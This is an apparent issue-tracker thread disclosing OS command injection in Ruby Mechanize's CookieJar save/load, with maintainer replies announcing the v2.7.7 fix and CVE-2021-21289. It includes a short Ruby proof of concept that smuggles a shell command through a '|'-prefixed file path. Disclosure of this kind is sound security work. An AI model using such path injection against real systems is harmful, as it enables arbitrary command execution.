save/load in Mechanize::CookieJar has OS Command Injection

[kyoshidajp]

save and load of Mechanize::CookieJar accept | as a file path. It leads to OS Command Injection.

How to reproduce

PoC of save is the following.

require 'mechanize'

url = 'https://example.com/'

agent = Mechanize.new
page = agent.get(url)
login_form = page.forms[0]
login_form.field_with(name: 'email').value = 'xxx'
login_form.field_with(name: 'password').value = 'zzz'
page = login_form.submit

agent.cookie_jar.save('| touch /tmp/evil.txt')

Then, /tmp/evil.txt will be created. load is the same.

Environments

• Mechanize: master branch
• Ruby: MRI (ruby 2.4.4p296 (2018-03-28 revision 63013) [x86_64-darwin17])

[flavorjones]

See GHSA-qrqm-fpv6-6r8g for CVE assignment and public notice.

(That security advisory may not be public yet, but will be public once this fix is in a release.)

[flavorjones]

Will be fixed in v2.7.7 shortly

[flavorjones]

v2.7.7 has been released. Thank you again for reporting this! I've given you credit in the security advisory linked above. The CVE assigned is CVE-2021-21289.